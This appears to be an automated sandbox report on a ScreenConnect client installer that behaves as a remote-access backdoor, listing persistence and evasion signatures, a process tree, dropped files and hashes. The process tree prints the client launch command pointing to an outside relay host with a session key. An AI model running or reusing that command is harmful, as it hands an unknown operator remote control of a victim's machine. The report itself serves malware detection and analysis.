Analysis

  • max time kernel
    148s
  • max time network
    116s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    23/07/2026, 00:21

General

  • Target
    ScreenConnect.ClientSetup.msi
  • Size 12.9MB
  • Sample260723-anqjesec76
  • SHA256 9871d72e0e65675368d739800b10c8f880f72b820e0e4288ab04c2a45f8f1f6e
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

  • Signed with revoked ConnectWise certificate 4 IoCs

    Binary is signed using a ConnectWise certificate revoked for key compromise.

  • ConnectWise ScreenConnect remote access tool

    ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.

  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 22 IoCs
  • Enumerates connected drives 3 TTPs 46 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

  • Drops file in System32 directory 2 IoCs
  • Drops file in Program Files directory 19 IoCs
  • Drops file in Windows directory 17 IoCs
  • Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks SCSI registry key(s) 3 TTPs 5 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 13 IoCs
  • Modifies registry class 37 IoCs
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 7 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Windows\system32\msiexec.exe
    msiexec.exe /I C:\Users\Admin\AppData\Local\Temp\ScreenConnect.ClientSetup.msi
    1⤵
    • Enumerates connected drives
    • Event Triggered Execution: Installer Packages
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    PID:2400
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Boot or Logon Autostart Execution: Authentication Package
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1508
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding 097383FE0755765FA7C3C1F03C620A08 C
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:3428
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI99A6.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240753375 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
        3⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:2892
    • C:\Windows\system32\srtasks.exe
      C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
      2⤵
        PID:2872
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding A3E8381540C6543C887395064B84867F
        2⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        PID:996
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding B346E2E90FCF82C4C9B81A5008C63E37 E Global\MSI0000
        2⤵
        • Loads dropped DLL
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        PID:6016
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Checks SCSI registry key(s)
      PID:2464
    • C:\Program Files (x86)\ScreenConnect Client (accba9da3ac24945)\ScreenConnect.ClientService.exe
      "C:\Program Files (x86)\ScreenConnect Client (accba9da3ac24945)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=relay.verytruegood.it.com&p=8041&s=72c05f07-5530-4287-855a-065bde06b05f&k=BgIAAACkAABSU0ExAAgAAAEAAQDVdVDa9ZzsBjVQO6srs4JTE%2bDGRSA0TpL%2fffWtrz7mACeoDSClejIq5LQiwq1cVXkJH4eD3R7MfNZhGUb4EfwhF7%2b3IFKGkAdnFAuF0cmR2v009kLBWIzFIjD0eDM0AH%2bD4ylNovPQGkRadd3T7mRKXu%2bhGRcjmZa8xYm2cCdizTN9DWtPdGuTJ4LbIz%2foglQ0CWow2sfsDiHbUM8klXZkiboo67AgPfPQS%2fynOhPme34rngzmDFdLOMJsJ1jRNUC4hoQcDuUjxJ7g1iL0jDYFrKpb5qopEVWF0W6rRa2mKpYP%2fVN25vcH146ALPnYmTxWaO%2bl5yLmQWwm5%2b4TZNvd"
      1⤵
      • Sets service image path in registry
      • Executes dropped EXE
      • Loads dropped DLL
      • Drops file in System32 directory
      • System Location Discovery: System Language Discovery
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:2196
      • C:\Program Files (x86)\ScreenConnect Client (accba9da3ac24945)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (accba9da3ac24945)\ScreenConnect.WindowsClient.exe" "RunRole" "da5e26bd-2541-44f4-b0de-f45b1c9f2294" "User"
        2⤵
        • Executes dropped EXE
        PID:5852
      • C:\Program Files (x86)\ScreenConnect Client (accba9da3ac24945)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (accba9da3ac24945)\ScreenConnect.WindowsClient.exe" "RunRole" "6d63b052-4ef5-46bd-b91a-72f03007673b" "System"
        2⤵
        • Executes dropped EXE
        • Checks processor information in registry
        • Modifies data under HKEY_USERS
        PID:5832

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

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          Downloads

          e59f3fc.rbs

          • Path C:\Config.Msi\e59f3fc.rbs
          • Size 214KB
          • SHA256 5a327ab856cb10558e767b043575ceb76d532be1ada80e082d7e375a90c3f1c6
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.Override.en-US.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (accba9da3ac24945)\Client.Override.en-US.resources
          • Size 298B
          • SHA256 ef989c4bd277b1849fd13dfe1cfcf5308c20e994190f74cd8604d8dfb8993ff2
          • MD5 SHA1 SHA512 TLSH

          Client.Override.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (accba9da3ac24945)\Client.Override.resources
          • Size 35KB
          • SHA256 aa8c28d48a3ef4df8e598091e1ab80d89792051f11910261f396c78db28de88b
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.en-US.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (accba9da3ac24945)\Client.en-US.resources
          • Size 48KB
          • SHA256 6a000a67799a071883b6e25f86d91c2c513aae0b34b3643be77e5b889335fb95
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (accba9da3ac24945)\Client.resources
          • Size 28KB
          • SHA256 95b299c8c163731707e8134946059a28c668c2b65b48f57eac2847dbe4beb63e
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Client.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (accba9da3ac24945)\ScreenConnect.Client.dll
          • Size 192KB
          • SHA256 6526705b685c2f221a6675118c73cba98c47d948169d81ea4544c3e3336b8f2b
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (accba9da3ac24945)\ScreenConnect.ClientService.dll
          • Size 66KB
          • SHA256 319ba24115e64ea4b714caf4e88d3d5a658defd51d714c2291b9758466925281
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (accba9da3ac24945)\ScreenConnect.ClientService.exe
          • Size 93KB
          • SHA256 f048400c23add8c75abe189393d33c873c02c74eeaf43d47b950c8d643763b35
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsAuthenticationPackage.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (accba9da3ac24945)\ScreenConnect.WindowsAuthenticationPackage.dll
          • Size 254KB
          • SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (accba9da3ac24945)\ScreenConnect.WindowsClient.exe
          • Size 593KB
          • SHA256 b80d07610b81bddb3d7f30a207a2e134b559e06b8440598a926f3a9c1d439218
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe.config

          • Path C:\Program Files (x86)\ScreenConnect Client (accba9da3ac24945)\ScreenConnect.WindowsClient.exe.config
          • Size 266B
          • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
          • MD5 SHA1 SHA512 TLSH

          ScreenConnect.WindowsCredentialProvider.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (accba9da3ac24945)\ScreenConnect.WindowsCredentialProvider.dll
          • Size 837KB
          • SHA256 36ad3b4858ee84fd2a73522a9ad25d177f492a65e1cbc6630169dc820dc2b63d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          app.config

          • Path C:\Program Files (x86)\ScreenConnect Client (accba9da3ac24945)\app.config
          • Size 1KB
          • SHA256 805e6e9447a4838d874d84e6b2cdff93723641b06726d8ee58d51e8b651cd226
          • MD5 SHA1 SHA512 TLSH

          system.config

          • Path C:\Program Files (x86)\ScreenConnect Client (accba9da3ac24945)\system.config
          • Size 951B
          • SHA256 0e48b9fc14c77436ca54e66ea73ee52cc472e34354e48ee108d9b727299bd1e9
          • MD5 SHA1 SHA512 TLSH

          MSI99A6.tmp

          • Path C:\Users\Admin\AppData\Local\Temp\MSI99A6.tmp
          • Size 1.0MB
          • SHA256 a45ba86c5d13aa8e814e4cb0860b5b2a39ce9677b0d980947f6fe31676051cb2
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Microsoft.Deployment.WindowsInstaller.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI99A6.tmp-\Microsoft.Deployment.WindowsInstaller.dll
          • Size 172KB
          • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Core.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI99A6.tmp-\ScreenConnect.Core.dll
          • Size 538KB
          • SHA256 b8100e5ab07983cbf82d721cf719576ca3f60e352628dcaabd42d428011fdedf
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.InstallerActions.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI99A6.tmp-\ScreenConnect.InstallerActions.dll
          • Size 11KB
          • SHA256 c79a22accadb1f8a716669ca68c6d6f4e9a21c0d639e2846f288b60bc8adc770
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Windows.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI99A6.tmp-\ScreenConnect.Windows.dll
          • Size 1.6MB
          • SHA256 da29455a64858fda773319c32c0a6cd40edbe8042ed005aa2befb8a4f0fb0522
          • MD5 SHA1 SHA512 SSDEEP TLSH

          MSIFB30.tmp

          • Path C:\Windows\Installer\MSIFB30.tmp
          • Size 202KB
          • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
          • MD5 SHA1 SHA512 SSDEEP TLSH

          e59f3fb.msi

          • Path C:\Windows\Installer\e59f3fb.msi
          • Size 12.9MB
          • SHA256 9871d72e0e65675368d739800b10c8f880f72b820e0e4288ab04c2a45f8f1f6e
          • MD5 SHA1 SHA512 SSDEEP TLSH

          metadata-2

          • Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
          • Size 26.1MB
          • SHA256 f7d6c074cf9831b572eadb20f6d2dd8f2b3a1786bca38c8ed88b090b7bab02fc
          • MD5 SHA1 SHA512 SSDEEP TLSH

          {9c5da627-3f5f-453b-8320-a873d7d83ce5}_OnDiskSnapshotProp

          • Path \??\Volume{c61fbfff-0000-0000-0000-d08302000000}\System Volume Information\SPP\OnlineMetadataCache\{9c5da627-3f5f-453b-8320-a873d7d83ce5}_OnDiskSnapshotProp
          • Size 6KB
          • SHA256 aa8e5196f619b622f35c4b860586205f150a9c32ce2634e6a93824b0dd2d8186
          • MD5 SHA1 SHA512 SSDEEP TLSH

          memory/2196-101-0x00000000044E0000-0x0000000004516000-memory.dmp

          memory/2196-102-0x00000000047D0000-0x0000000004862000-memory.dmp

          memory/2196-97-0x0000000004490000-0x00000000044E0000-memory.dmp

          memory/2196-106-0x00000000049C0000-0x0000000004A95000-memory.dmp

          memory/2196-104-0x0000000004520000-0x0000000004561000-memory.dmp

          memory/2196-75-0x0000000001CF0000-0x0000000001D08000-memory.dmp

          memory/2892-22-0x0000000003770000-0x000000000377A000-memory.dmp

          memory/2892-26-0x0000000005820000-0x00000000058AC000-memory.dmp

          memory/2892-18-0x0000000003730000-0x000000000375E000-memory.dmp

          memory/2892-30-0x0000000005A90000-0x0000000005C3C000-memory.dmp

          memory/2892-31-0x0000000006200000-0x00000000067BA000-memory.dmp

          memory/5852-116-0x0000000000880000-0x0000000000918000-memory.dmp

          memory/5852-118-0x0000000002CF0000-0x0000000002D7C000-memory.dmp

          memory/5852-117-0x0000000002AB0000-0x0000000002AE6000-memory.dmp

          memory/5852-119-0x000000001BB10000-0x000000001BCBC000-memory.dmp

          memory/5852-120-0x000000001BCC0000-0x000000001BE48000-memory.dmp

          memory/5852-122-0x0000000002A90000-0x0000000002AA8000-memory.dmp

          memory/5852-121-0x0000000002A30000-0x0000000002A48000-memory.dmp